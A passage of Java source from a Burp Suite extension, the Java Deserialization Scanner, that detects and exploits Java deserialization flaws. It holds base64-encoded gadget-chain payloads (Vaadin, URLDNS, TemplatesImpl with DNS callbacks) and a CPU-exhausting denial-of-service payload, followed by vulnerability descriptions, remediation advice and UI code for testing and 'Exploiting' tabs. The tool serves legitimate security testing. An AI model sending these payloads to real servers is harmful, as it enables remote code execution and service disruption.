AAABgABAAAANAASAAAAIAADAAAAAQATADQAAAAAAAEAGgAbAAEAAAABABwAHQACAAEAFQAeAAIAFwAAAAQAAQAYAA4AAABJAAAABAAAAAGxAAAAAgARAAAABgABAAAAOAASAAAAKgAEAAAAAQATADQAAAAAAAEAGgAbAAEAAAABAB8AIAACAAAAAQAhACIAAwAIACkADQABAA4AAAAhAAIAAgAAAAynAAMBTBIruAAxV7EAAAABADIAAAADAAEDAAIAIwAAAAIAJAAlAAAACgABAAEAJgAoAAl1cQB+ACsAAAHUyv66vgAAADIAGwcAAgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vBwAEAQAQamF2YS9sYW5nL09iamVjdAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHABkBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQADRm9vACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgABAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAAPAASAAAADAABAAAABQATABQAAAACABUAAAACABYAFwAAAAoAAQABABgAGgAJcHQABFB3bnJwdwEAeHB4AAAAAHBwcHg="));
        payloadsDNS.put("Vaadin (DNS)", Base64.decodeBase64("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAnNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAR3QAGnlzb3NlcmlhbC5wYXlsb2Fkcy5WYWFkaW4xdAAMVmFhZGluMS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAO3QAGXlzb3NlcmlhbC5HZW5lcmF0ZVBheWxvYWR0ABRHZW5lcmF0ZVBheWxvYWQuamF2YXQABG1haW5zcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AB3hyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHEAfgAZeHNyACRjb20udmFhZGluLmRhdGEudXRpbC5Qcm9wZXJ0eXNldEl0ZW2ayverPgx2lwIAA0wABGxpc3R0ABZMamF2YS91dGlsL0xpbmtlZExpc3Q7TAADbWFwdAATTGphdmEvdXRpbC9IYXNoTWFwO0wAGnByb3BlcnR5U2V0Q2hhbmdlTGlzdGVuZXJzcQB+ABt4cHNyABRqYXZhLnV0aWwuTGlua2VkTGlzdAwpU11KYIgiAwAAeHB3BAAAAAF0ABBvdXRwdXRQcm9wZXJ0aWVzeHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABcQB+ACBzcgApY29tLnZhYWRpbi5kYXRhLnV0aWwuTmVzdGVkTWV0aG9kUHJvcGVydHlWokvLjJk5mwMAA0wACGluc3RhbmNlcQB+AAFMAAxwcm9wZXJ0eU5hbWVxAH4ABUwABHR5cGV0ABFMamF2YS9sYW5nL0NsYXNzO3hyACVjb20udmFhZGluLmRhdGEudXRpbC5BYnN0cmFjdFByb3BlcnR5vGagalzPEJ4CAANaAAhyZWFkT25seUwAHXJlYWRPbmx5U3RhdHVzQ2hhbmdlTGlzdGVuZXJzcQB+ABtMABR2YWx1ZUNoYW5nZUxpc3RlbmVyc3EAfgAbeHAAcHBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AAVMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABnTK/rq+AAAAMgA1BwAzAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkBwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAZAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAJwEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAIPGNsaW5pdD4BAAVYWFhYWAgAKgEAFGphdmEvbmV0L0luZXRBZGRyZXNzBwAsAQAJZ2V0QnlOYW1lAQAqKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uZXQvSW5ldEFkZHJlc3M7DAAuAC8KAC0AMAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMDQwMzgzNTM3NTk5MDABACBMeXNvc2VyaWFsL1B3bmVyMjA0MDM4MzUzNzU5OTAwOwAhAAEAAwABAAUAAQAaAAcACAABAAkAAAACAAoABAABAAwADQABAA4AAAAvAAEAAQAAAAUqtwAPsQAAAAIAEQAAAAYAAQAAAC8AEgAAAAwAAQAAAAUAEwA0AAAAAQAVABYAAgAXAAAABAABABgADgAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAA0ABIAAAAgAAMAAAABABMANAAAAAAAAQAaABsAAQAAAAEAHAAdAAIAAQAVAB4AAgAXAAAABAABABgADgAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAA4ABIAAAAqAAQAAAABABMANAAAAAAAAQAaABsAAQAAAAEAHwAgAAIAAAABACEAIgADAAgAKQANAAEADgAAACEAAgACAAAADKcAAwFMEiu4ADFXsQAAAAEAMgAAAAMAAQMAAgAjAAAAAgAkACUAAAAKAAEAAQAmACgACXVxAH4ALgAAAdTK/rq+AAAAMgAbBwACAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28HAAQBABBqYXZhL2xhbmcvT2JqZWN0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAGQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAANGb28AIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAEAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAA8ABIAAAAMAAEAAAAFABMAFAAAAAIAFQAAAAIAFgAXAAAACgABAAEAGAAaAAlwdAAEUHducnB3AQB4cQB+ACB2cgAUamF2YS51dGlsLlByb3BlcnRpZXM5EtB6cDY+mAIAAUwACGRlZmF1bHRzcQB+ACp4cgATamF2YS51dGlsLkhhc2h0YWJsZRO7DyUhSuS4AwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhweHhw"));
        
        payloadsDNStemplateImpl = new ArrayList<String>();
        payloadsDNStemplateImpl.add("Apache Commons Collections 3 Alternate payload (DNS)");
        payloadsDNStemplateImpl.add("Apache Commons Collections 4 (DNS)");
        payloadsDNStemplateImpl.add("Apache Commons Collections 4 Alternate payload (DNS)");
        payloadsDNStemplateImpl.add("Commons BeanUtils (DNS)");
        payloadsDNStemplateImpl.add("Hibernate 5 (DNS)");
        payloadsDNStemplateImpl.add("JSON (DNS)");
        payloadsDNStemplateImpl.add("ROME (DNS)");
        payloadsDNStemplateImpl.add("Spring (DNS)");
        payloadsDNStemplateImpl.add("Spring Alternate Payload (DNS)");
        payloadsDNStemplateImpl.add("Java 6 and Java 7 (up to Jdk7u21) (DNS)");
        payloadsDNStemplateImpl.add("Java 8 (up to Jdk8u20) (DNS)");
        payloadsDNStemplateImpl.add("Javassist/Weld (DNS)");
        payloadsDNStemplateImpl.add("JBoss Interceptors (DNS)");
        payloadsDNStemplateImpl.add("Mozilla Rhino (DNS)");
        payloadsDNStemplateImpl.add("Mozilla Rhino Alternate payload (DNS)");
        payloadsDNStemplateImpl.add("Vaadin (DNS)");
        
        // Initialize the URLDNS payload, that executes a DNS resolution using JRE only functions, without the need of a vulnerable library
        payloadURLDNS = Base64.decodeBase64("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QACFhYWFhYLml0dAAAcQB+AAV0AARodHRwcHh0AA9odHRwOi8vWFhYWFguaXR4");
        
        // Initialize the Serial Dos Limited payload (limited version of https://gist.github.com/coekie/a27cc406fc9f3dc7a70d)
        // This payload causes a high CPU consumption for a limited amount of time. The CPU time depends on the server hardware, but can be approximately 
        // from 20 seconds to 10 minutes.
        payloadSerialDosLimited = Base64.decodeBase64("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");
        
        // Initialize the descriptions of the vulnerabilities
        rceIssue = "Remote Code Execution through Java Unsafe Deserialization";
        rceIssueVulnerableLibrary = ", vulnerable library: ";
        rceSeverity = "High";
        rceConfidenceSleep = "Firm";
        rceConfidenceDns = "Certain";
        rceIssueDetail = "The application deserializes untrusted serialized Java objects,"+
        						" without first checking the type of the received object and run on an unpatched Java environment. This issue can be"+
        						" exploited by sending malicious objects that, when deserialized,"+
        						" execute custom Java code. Several objects defined in popular libraries"+
        						" can be used for the exploitation.";
        rceIssueDetailVulnerableLibrary = " The present issue has been exploited thanks to the disclosed vulnerability on library ";
        
        activeDetectionIssue = "Java Deserialization detected, active check based on ";
        activeDetectionSeverity = "Medium";
        activeDetectionConfidenceDns = "Certain";
        activeDetectionConfidenceSleep = "Firm";
        activeDetectionIssueDetails = "The application deserializes untrusted serialized Java objects. Most likely the application is vulnerable to Denial " + 
                                      "of Service and if the type of the object is not checked before the deserialization process and/or the version of Java used" + 
                                      " by the backend is not updated, the issue could also be exploited to achieve remote command execution. In order to execute " + 
                                      "commands, it is necessary to find a vulnerable library. The Java Deserialization Scanner plugins executes many checks to" + 
                                      " find libraries that can be used for exploitation (that, if found, are reported as \"High\" severity issues). If no " + 
                                      "vulnerable libraries are detected by the plugin, GadgetProbe tool by Jake Miller can be used to enumerate libraries " + 
                                      "used by the backend. Then Chris Frohoff's ysoserial tool can be used to generate payloads for known exploit chains " + 
                                      "(integrated also in the \"Exploiting\" tab of the plugin) and Ian Haken's Gadget Inspector can be used to find 0-day " + 
                                      "exploit chains in the Java libraries used by the target application. ";
        
        passiveScanIssue = "Serialized Java objects detected";
        passiveScanSeverity = "Information";
        passiveScanConfidence = "Firm";
        passiveScanIssueDetail = "Serialized Java objects have been detected in the body"+
        						 " or in the parameters of the request. If the server application does "+
        						 " not check on the type of the received objects before"+
        						 " the deserialization phase, it may be vulnerable to the Java Deserialization"+
        						 " Vulnerability.";
        
        remediationDetail = "<ol><li>If possible, do not use Java serialized objects and migrate to safer alternatives.</li> " +  
				  "<li>Keep Java software always updated and patched.</li>" + 
				  "<li> If is necessary to use Serialized Java Objects, "+
				  " deserialize only known objects, by using custom "+
				  " objects for the deserialization, insted of the Java "+
				  " ObjectInputStream default one. The custom object must override the "+
				  " resolveClass method, by inserting checks on the object type"+
				  " before deserializing the received object. </li>" +
				  " <li>Update all Java libraries used in the application, with particular attention " +
				  "to the one used for the exploitation.</li></ol>";
        
        issueDetailTimeWarning = "The issue has been reported as \"Firm\" instead of \"Certain\" because congested networks can cause false positives to time checks.";
        
        
        insertionPointChar = (char)167;   
        
        dialogTitle = "Are you sure?";
        dialogMessage = "The execution of this payload can cause high CPU consumtion for various seconds/minutes and it may causes DoS on older services and high loaded services. DO NOT send simultaneous requests to the same server.";
        dialogButtonsMessages = new String[]{ "Yes", "Cancel" }; 
        
        urlBodyAlreadyScanned = new ArrayList<String>();
        
        stdout.println("Java Deserialization Scanner v0.5 - The all-in-one plugin for the detection and the exploitation of Java deserialization vulnerabilities");
        stdout.println("Created by: Federico Dotta");
        stdout.println("Contributors: Jeremy Goldstein, Andras Veres-Szentkiralyi");
        stdout.println("");
        stdout.println("Chains detected by the scanner:");
        stdout.println("Apache Commons Collections 3 (five different chains)");
        stdout.println("Apache Commons Collections 4 (two different chains)");
        stdout.println("Apache Commons BeanUtils");
        stdout.println("Spring (two different chains)");
        stdout.println("Java 6 and Java 7 (<= jdk7u21)");
        stdout.println("Java 8 (<= jdk8u20)");
        stdout.println("Hibernate 5");
        stdout.println("JSON");
        stdout.println("ROME");
        stdout.println("Javassist/Weld");
        stdout.println("JBoss Interceptors");
        stdout.println("Mozilla Rhino (two different chains)");
        stdout.println("Vaadin");
        stdout.println("");
        stdout.println("Chains supported by the exploiter:");
        stdout.println("All ysoserial chains");
        stdout.println("");
        stdout.println("Supported encodings (automatic scanner):");
        stdout.println("RAW");
        stdout.println("Base64");
        stdout.println("Ascii HEX");
        stdout.println("Gzip");
        stdout.println("Base64 Gzip");
        stdout.println("Additional encodings (manual scanner):");
        stdout.println("Zlib");
        stdout.println("");
        stdout.println("Github: https://github.com/federicodotta/Java-Deserialization-Scanner");
        stdout.println("");
        
        SwingUtilities.invokeLater(new Runnable() 
        {
            public void run()
            {
            	            	
            	mainPanel = new JTabbedPane(); 
            	
            	// Manual testing tab
            	
            	mainPanelManualTesting = new JPanel();
            	mainPanelManualTesting.setLayout(new BoxLayout(mainPanelManualTesting, BoxLayout.PAGE_AXIS));
                // main split pane
                splitPaneManualTesting = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);
                
                // LEFT
                JPanel leftPanelManualTesting = new JPanel();
                leftPanelManualTesting.setLayout(new BoxLayout(leftPanelManualTesting, BoxLayout.Y_AXIS));
                
                JPanel httpServicePanelManualTesting = new JPanel();
                httpServicePanelManualTesting.setLayout(new BoxLayout(httpServicePanelManualTesting, BoxLayout.X_AXIS));
                JLabel hostLabelManualTesting = new JLabel("Host:");
                hostManualTesting = new JTextField(70);
                hostManualTesting.setMaximumSize( hostManualTesting.getPreferredSize() );
                JLabel portLabelManualTesting = new JLabel("Port:");
                portManualTesting = new JTextField(5);
                portManualTesting.setMaximumSize( portManualTesting.getPreferredSize() );
                useHttpsManualTesting = new JCheckBox("Https");
                httpServicePanelManualTesting.add(hostLabelManualTesting);
                httpServicePanelManualTesting.add(hostManualTesting);
                httpServicePanelManualTesting.add(portLabelManualTesting);
                httpServicePanelManualTesting.add(portManualTesting);
                httpServicePanelManualTesting.add(useHttpsManualTesting);    
                
                requestAreaManualTesting = new JTextArea();
                JScrollPane scrollRequestAreaManualTesting = new JScrollPane(requestAreaManualTesting);
                scrollRequestAreaManualTesting.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED);
                requestAreaManualTesting.setLineWrap(true);
                
                // MENU
                JPopupMenu popupMenuManualTesting = new JPopupMenu();
                JMenuItem sendToRepeaterManualTesting = new JMenuItem("Send to Repeater");
                sendToRepeaterManualTesting.setActionCommand("sendRepeaterManualTesting");
                sendToRepeaterManualTesting.addActionListener(BurpExtender.this);
                popupMenuManualTesting.add(sendToRepeaterManualTesting);
                JMenuItem sendToExploitingManualTesting = new JMenuItem("Send to Exploitation tab");
                sendToExploitingManualTesting.setActionCommand("sendExploitingManualTesting");
                sendToExploitingManualTesting.addActionListener(BurpExtender.this);
                popupMenuManualTesting.add(sendToExploitingManualTesting);
                requestAreaManualTesting.setComponentPopupMenu(popupMenuManualTesting);                
                // END MENU
                
                JPanel buttonPanelGenericManualTesting = new JPanel();
                buttonPanelGenericManualTesting.setLayout(new BoxLayout(buttonPanelGenericManualTesting, BoxLayout.X_AXIS));
                
                JButton setInsertionPointButtonManualTesting = new JButton("Set Insertion Point");
                setInsertionPointButtonManualTesting.setActionCommand("setInsertionPoint");
                setInsertionPointButtonManualTesting.addActionListener(BurpExtender.this);   	 
                
                JButton clearButtonManualTesting = new JButton("Clear Insertion Point");
                clearButtonManualTesting.setActionCommand("clear");
                clearButtonManualTesting.addActionListener(BurpExtender.this);
                                
                transformationsListManualTestingModel = new DefaultListModel<Transformation>();                
                JPanel manualTestingTranformationListPanel = new JPanel();
                manualTestingTranformationListPanel.setLayout(new BoxLayout(manualTestingTranformationListPanel, BoxLayout.X_AXIS)); 
                JLabel labelTransformationsList = new JLabel("Encode/Compress: ");
                transformationsManualTestingList = new JList(transformationsListManualTestingModel);    
                JScrollPane transformationsListScrollPane = new JScrollPane(transformationsManualTestingList);
                transformationsListScrollPane.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED);
                transformationsListScrollPane.setBorder(new LineBorder(Color.BLACK));
                transformationsListScrollPane.setMaximumSize( transformationsListScrollPane.getPreferredSize() );
                
                for (Transformation t : Transformation.values()) {
                	transformationsListManualTestingModel.addElement(t);
                }
                
                JPanel manualTestingTranformationButtonPanel = new JPanel();
                manualTestingTranformationButtonPanel.setLayout(new BoxLayout(manualTestingTranformationButtonPanel, BoxLayout.Y_AXIS));
                JButton addTransformationManualTestingButton = new JButton("Add -->");
                addTransformationManualTestingButton.setActionCommand("addTransformationManualTesting");
                addTransformationManualTestingButton.addActionListener(BurpExtender.this);
                JButton removeTransformationManualTestingButton = new JButton("<-- Remove");
                removeTransformationManualTestingButton.setActionCommand("removeTransformationManualTesting");
                removeTransformationManualTestingButton.addActionListener(BurpExtender.this);                
                manualTestingTranformationButtonPanel.add(addTransformationManualTestingButton);
                manualTestingTranformationButtonPanel.add(removeTransformationManualTestingButton);
                
                addedTransformationsManualTestingListModel = new DefaultListModel<Transformation>();  
                addedTransformationsManualTestingList = new JList(addedTransformationsManualTestingListModel);    
                JScrollPane addedTransformationsManualTestingListScrollPane = new JScrollPane(addedTransformationsManualTestingList);
                addedTransformationsManualTestingListScrollPane.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED);
                addedTransformationsManualTestingListScrollPane.setBorder(new LineBorder(Color.BLACK));
                addedTransformationsManualTestingListScrollPane.setMaximumSize( addedTransformationsManualTestingListScrollPane.getPreferredSize() );
                
                manualTestingTranformationListPanel.add(labelTransformationsList);
                manualTestingTranformationListPanel.add(transformationsListScrollPane);
                manualTestingTranformationListPanel.add(manualTestingTranformationButtonPanel);
                manualTestingTranformationListPanel.add(addedTransformationsManualTestingListScrollPane);
                      
                // Type of test
                typeManualTest = new JComboBox<String>(TEST_TYPES);
                typeManualTest.setSelectedIndex(0);
                typeManualTest.addActionListener(BurpExtender.this);
                typeManualTest.setMaximumSize(typeManualTest.getPreferredSize());
                
                buttonPanelGenericManualTesting.add(setInsertionPointButtonManualTesting);
                buttonPanelGenericManualTesting.add(clearButtonManualTesting);
                buttonPanelGenericManualTesting.add(typeManualTest);
               
                attackButtonManualTesting = new JButton("Attack");
                attackButtonManualTesting.setActionCommand("attack");
                attackButtonManualTesting.addActionListener(BurpExtender.this);  
                
                leftPanelManualTesting.add(httpServicePanelManualTesting);
                leftPanelManualTesting.add(scrollRequestAreaManualTesting);
                leftPanelManualTesting.add(buttonPanelGenericManualTesting);
  
                leftPanelManualTesting.add(manualTestingTranformationListPanel);
                
                leftPanelManualTesting.add(attackButtonManualTesting);
                
                splitPaneManualTesting.setLeftComponent(leftPanelManualTesting);                
                
                // RIGHT
                
                resultAreaManualTesting = new JEditorPane("text/html", "<b>RESULTS PANE</b>");
                resultAreaManualTesting.setEditable(false);
                JScrollPane scrollResultAreaManualTesting = new JScrollPane(resultAreaManualTesting);
                scrollResultAreaManualTesting.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED);

                splitPaneManualTesting.setRightComponent(scrollResultAreaManualTesting);
                
                splitPaneManualTesting.setResizeWeight(0.5);
                
                mainPanelManualTesting.add(splitPaneManualTesting);               
                
                callbacks.customizeUiComponent(mainPanelManualTesting);
                
                
                // NEW
                
                // Exploiting tab
                
                mainPanelExploiting = new JPanel();
                mainPanelExploiting.setLayout(new BoxLayout(mainPanelExploiting, BoxLayout.PAGE_AXIS));
                // main split pane
                splitPaneExploiting = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);
                
                // LEFT
                
                JSplitPane leftSplitPaneExploiting = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
                
                // LEFT TOP
                
                JPanel leftTopPanelExploiting = new JPanel();
                leftTopPanelExploiting.setLayout(new BoxLayout(leftTopPanelExploiting, BoxLayout.Y_AXIS));
                                
                JPanel httpServicePanelExploiting = new JPanel();
                httpServicePanelExploiting.setLayout(new BoxLayout(httpServicePanelExploiting, BoxLayout.X_AXIS));
                JLabel hostLabelExploiting = new JLabel("Host:");
                hostExploiting = new JTextField(70);
